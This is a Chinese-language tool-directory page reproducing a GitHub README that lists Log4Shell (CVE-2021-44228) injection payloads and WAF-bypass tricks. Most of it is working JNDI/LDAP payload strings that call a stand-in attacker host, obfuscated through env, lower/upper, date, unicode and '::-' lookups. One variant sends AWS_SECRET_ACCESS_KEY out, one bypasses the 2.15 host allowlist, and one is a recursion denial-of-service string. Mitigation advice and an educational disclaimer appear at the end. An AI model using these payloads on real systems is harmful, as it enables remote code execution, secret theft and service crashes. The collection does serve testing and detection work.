Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 漏洞利用 - WAF 绕过技巧 | Kitploit
工具/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Payload生成漏洞分析漏洞利用IDS/IPS规避Web应用程序漏洞利用WAF绕过渗透测试学习与教育红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 漏洞利用 - WAF 绕过技巧

查看仓库
950134184年前Kitploit 审核通过
🤝 展示您的支持 - 如果喜欢内容请给个 ⭐️ | 在 Twitter 上分享 | 关注我

🐱‍💻 ✂️ 🤬 LOG4J Java 漏洞利用 - WAF 和补丁绕过技巧

📝 描述

CVE-2021-44228 作用于:

log4j:2.0 <= Apache log4j <= 2.14.1

已修补的 Java 版本:6u211+、7u201+、8u191+、11.0.1+。

Windows Defender 开始删除包含 jndi:ldap:.... 的 .java 文件

简单的攻击者脚本(可能的 RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF 或开发者开始屏蔽以下短语:

  • "ldap:"
  • "jndi:"

以保护应用程序。

然而,攻击者可以通过以下技术之一绕过:

1. 系统环境变量

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

根据 Apache Log4j 2 文档:${env:ENV_NAME:-默认值}

如果不存在 ENV_NAME 系统环境变量,则使用 :- 之后的文本。

攻击者可以使用任何名称代替 ENV_NAME,但该名称必须不存在。

或者黑客可以读取环境变量,例如 AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

在 🦄🔒 环境变量中的秘密精选列表 🖥️ 中查看更多秘密。

你可以检查系统环境变量:

  • 在 Windows 上,在 PowerShell 中执行:dir env:
  • 在 Linux/MacOS 上,在终端中执行:printenv 或 env

2. 小写或大写查找

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

小写查找 小写查找将传入的参数转换为小写。假定该值将是嵌套查找的结果。

${lower:<文本>}

大写查找 大写查找将传入的参数转换为大写。假定该值将是嵌套查找的结果。

${upper:<文本>}


3. "::-" 表示法

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. 带有大写的无效 Unicode 字符

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı 被转换为 i


5. 系统属性

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

如果不存在 SYS_NAME 系统属性,则使用 :- 之后的文本。


6. ":-" 表示法

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. 日期

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Java 日期格式化将 YYYY 转换为 2021,但将 'YYYY' 转换为 YYYY,将 'j' 转换为 j。


8. HTML URL 编码

将字符替换为:

  • } 替换为 %7D
  • { 替换为 %7B
  • $ 替换为 %24

更多信息请参阅 HTML URL 编码参考


9. 不存在的查找

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

它不验证查找是否存在,直接愉快地使用默认值。


10. 多态(JSON REST API 请求)


{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"单独来看,这些键和值并不构成攻击。但将它们组合在一起就是一个攻击,并且由于 JSON 解析器,这种攻击对检测系统是透明的。" 阅读更多...


11. Unicode 字符(JSON REST API 请求)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

将一些字符转换为 unicode。

Unicode 转换器在线


12. 使用 # 的技巧(适用于 log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

绕过 Log4J 2.15.0 中的 allowedLdapHost 和 allowedClasses 检查。java.net.URI getHost() 方法返回 # 之前的值作为真实主机。但 JNDI/LDAP 解析器将解析为完整的主机名字符串,尝试连接到恶意 LDAP 服务器。

阅读更多...


13. 拒绝服务攻击(适用于 log4j 2.8 - 2.16 - CVE-2021-45105)

${${::-${::-$${::-j}}}}

如果出于任何原因对以下字符串进行字符串替换,它将触发无限递归,应用程序将崩溃。

阅读更多...


14. PDF 作为传递渠道。

制作特殊的 PDF 文件以利用 CVE-2021-44228

PDF 示例

获取 PDF 文件并阅读更多...

测试

要测试入口,你可以使用:

  • https://canarytokens.org/generate - 选择令牌 Log4Shell(入口通知将通过电子邮件或 webhook 发送),生成并替换 somesitehackerofhell.com/z
  • https://dnslog.cn/ - 生成子域名并替换 somesitehackerofhell.com/z

✨ 保护免受 CVE-2021-44228 攻击的最佳解决方案

简而言之,更新至 log4j-2.17.1 或更高版本。

Log4j 1.x 缓解措施:Log4j 1.x 没有 Lookups,因此风险较低。使用 Log4j 1.x 的应用程序只有在配置中使用 JNDI 时才易受此攻击。此漏洞已提交单独的 CVE(CVE-2021-4104)。缓解措施:审计你的日志记录配置,确保没有配置 JMSAppender。没有 JMSAppender 的 Log4j 1.x 配置不受此漏洞影响。

Log4j 2.x 缓解措施:实施以下缓解技术之一。

  • Java 8(或更高版本)用户应升级到 2.17.1 版本。
  • 需要 Java 7 的用户应在 2.12.4 版本可用时升级(正在开发中,预计很快可用)。
  • 否则,从类路径中移除 JndiLookup 类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 并移除对外部来源(如 HTTP 头或用户输入)的 Context Lookups(如 ${ctx:loginId} 或 $${ctx:loginId})的引用。

注意,只有 log4j-core JAR 文件受此漏洞影响。仅使用 log4j-api JAR 文件而不使用 log4j-core JAR 文件的应用程序不受此漏洞影响。

来源及更多信息...

保持安全!

🤝 展示您的支持

🤝 展示您的支持 - 如果喜欢内容或表情包请给个 ⭐️ | 在 Twitter 上分享 | 关注我

log2

📝 有用的链接

  • Apache Log4j 2 v. 2.15.0 - 用户指南
  • 可能是 lower/upper 绕过的首次发布
  • CVE-2021-44228(Apache Log4j 远程代码执行)
  • HTML URL 编码参考
  • GitHub 审查的 CVE-2021-44228 - Log4j 中的远程代码注入
  • Apache Log4j 安全漏洞
  • 程序 log4j-detector - 检测文件系统中任何应用程序中易受 CVE-2021-44228 和 CVE-2021-45046 影响的 Log4J 版本
  • 多态 Log4J 漏洞利用,是有效的 JSON REST API 请求
  • 使用数据格式混淆绕过 NGFW/WAF
  • LOG4J2-3230 某些字符串可能导致无限递归
  • 这里是一个 PoC,演示如何绕过 Log4J 2.15.0 中的 allowedLdapHost 和 allowedClasses 检查
  • 🦄🔒 环境变量中的秘密精选列表 🖥️
  • 使用 PDF 作为传递渠道利用 CVE-2021-44228 - PoC

🙌 感谢用户的贡献

  • 所有贡献者
  • Whatsec 提供更多绕过示例
  • manjula-aw 改进安全部分
  • juliusmusseau 提供另一个绕过示例

✔️ 免责声明

本项目仅供教育目的使用。未经事先许可,使用此软件针对目标系统是非法的,滥用此软件造成的任何损害均不由作者负责。

我不是 CVE-2021-44228 及其某些绕过技术的作者。

下载工具